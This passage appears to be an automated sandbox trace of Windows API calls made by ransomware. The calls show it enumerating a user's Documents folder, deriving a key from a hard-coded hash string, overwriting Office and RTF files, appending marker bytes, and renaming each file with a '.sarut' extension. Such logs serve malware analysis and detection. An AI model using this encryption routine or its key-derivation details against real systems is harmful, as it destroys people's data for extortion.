HALPmcxz\\Documents\\GaPuN558 zq.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gapun558 zq.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GaPuN558 zq.xlsx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gapun558 zq.xlsx.sarut")) returned 1 [0268.525] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.525] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.526] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.526] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4fcaab0, ftCreationTime.dwHighDateTime=0x1d4d462, ftLastAccessTime.dwLowDateTime=0x7e686780, ftLastAccessTime.dwHighDateTime=0x1d4cfc7, ftLastWriteTime.dwLowDateTime=0x7e686780, ftLastWriteTime.dwHighDateTime=0x1d4cfc7, nFileSizeHigh=0x0, nFileSizeLow=0xb0e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gdzkVlfc2.rtf", cAlternateFileName="GDZKVL~1.RTF")) returned 1 [0268.526] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.526] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0268.526] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.526] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gdzkVlfc2.rtf") returned=".rtf" [0268.526] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gdzkVlfc2.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gdzkvlfc2.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.527] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=45284) returned 1 [0268.527] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.530] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb0be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.530] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.532] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.532] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.532] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xb0e4, lpOverlapped=0x0) returned 1 [0268.533] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.533] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.533] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.533] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.533] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.534] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.534] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.534] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.534] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.534] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.534] GetLastError () returned 0x0 [0268.534] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.534] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.534] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.534] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0e0) returned 0x311d708 [0268.535] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.535] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.535] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xb0df, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xb0df, lpOverlapped=0x0) returned 1 [0268.535] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.535] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb0e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.535] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.535] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.535] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.535] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.535] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.535] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.535] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.535] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.535] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.536] CloseHandle (hObject=0x5c4) returned 1 [0268.543] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.543] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.543] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.543] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gdzkVlfc2.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gdzkvlfc2.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gdzkVlfc2.rtf.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gdzkvlfc2.rtf.sarut")) returned 1 [0268.543] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.543] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.545] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59933310, ftCreationTime.dwHighDateTime=0x1d4ac2a, ftLastAccessTime.dwLowDateTime=0xa7c017a0, ftLastAccessTime.dwHighDateTime=0x1d4ac67, ftLastWriteTime.dwLowDateTime=0xa7c017a0, ftLastWriteTime.dwHighDateTime=0x1d4ac67, nFileSizeHigh=0x0, nFileSizeLow=0x6895, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ii08Wr6qQ2it.pptx", cAlternateFileName="II08WR~1.PPT")) returned 1 [0268.545] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.545] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0268.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.545] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ii08Wr6qQ2it.pptx") returned=".pptx" [0268.545] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ii08Wr6qQ2it.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ii08wr6qq2it.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.547] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=26773) returned 1 [0268.547] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.550] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x686f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.550] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.551] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.551] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.551] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.551] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x6895, lpOverlapped=0x0) returned 1 [0268.552] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.552] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.552] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.552] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.552] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.553] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.553] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.553] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.553] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.553] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.554] GetLastError () returned 0x0 [0268.554] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.554] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.554] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x68a0) returned 0x311d708 [0268.554] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.554] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x6890, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x6890, lpOverlapped=0x0) returned 1 [0268.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.554] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6895, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.554] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.554] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.555] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.555] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.555] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.555] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.555] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.555] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.555] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.555] CloseHandle (hObject=0x5c4) returned 1 [0268.556] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0268.556] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.556] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0268.556] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ii08Wr6qQ2it.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ii08wr6qq2it.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ii08Wr6qQ2it.pptx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ii08wr6qq2it.pptx.sarut")) returned 1 [0268.557] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.557] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.558] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.558] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0f7130, ftCreationTime.dwHighDateTime=0x1d4c937, ftLastAccessTime.dwLowDateTime=0x7caf8050, ftLastAccessTime.dwHighDateTime=0x1d4c729, ftLastWriteTime.dwLowDateTime=0x7caf8050, ftLastWriteTime.dwHighDateTime=0x1d4c729, nFileSizeHigh=0x0, nFileSizeLow=0x1581d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INx_XXf1fj2VzxVM7GZ.ppt", cAlternateFileName="INX_XX~1.PPT")) returned 1 [0268.558] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.558] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0268.558] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.558] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\INx_XXf1fj2VzxVM7GZ.ppt") returned=".ppt" [0268.558] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\INx_XXf1fj2VzxVM7GZ.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\inx_xxf1fj2vzxvm7gz.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.559] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=88093) returned 1 [0268.560] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.562] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x157f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.562] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.564] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.564] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.564] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x1581d, lpOverlapped=0x0) returned 1 [0268.565] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.565] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.565] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.565] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.565] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.566] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.566] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.566] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.566] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.566] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.566] GetLastError () returned 0x0 [0268.566] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.566] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.566] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.566] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x15820) returned 0x311d708 [0268.567] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.567] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.567] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x15818, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x15818, lpOverlapped=0x0) returned 1 [0268.568] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.568] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1581d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.568] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.568] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.568] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.568] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.568] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.568] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.568] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.568] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.568] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.568] CloseHandle (hObject=0x5c4) returned 1 [0268.572] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0268.572] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0268.572] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0268.572] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\INx_XXf1fj2VzxVM7GZ.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\inx_xxf1fj2vzxvm7gz.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\INx_XXf1fj2VzxVM7GZ.ppt.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\inx_xxf1fj2vzxvm7gz.ppt.sarut")) returned 1 [0268.573] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.575] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.576] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.576] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaa44ff0, ftCreationTime.dwHighDateTime=0x1d4d286, ftLastAccessTime.dwLowDateTime=0xf94104c0, ftLastAccessTime.dwHighDateTime=0x1d4cd07, ftLastWriteTime.dwLowDateTime=0xf94104c0, ftLastWriteTime.dwHighDateTime=0x1d4cd07, nFileSizeHigh=0x0, nFileSizeLow=0x7441, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Jmoep.pps", cAlternateFileName="")) returned 1 [0268.576] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.576] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0268.576] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.576] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jmoep.pps") returned=".pps" [0268.576] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jmoep.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jmoep.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.576] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=29761) returned 1 [0268.577] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.579] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x741b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.579] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, 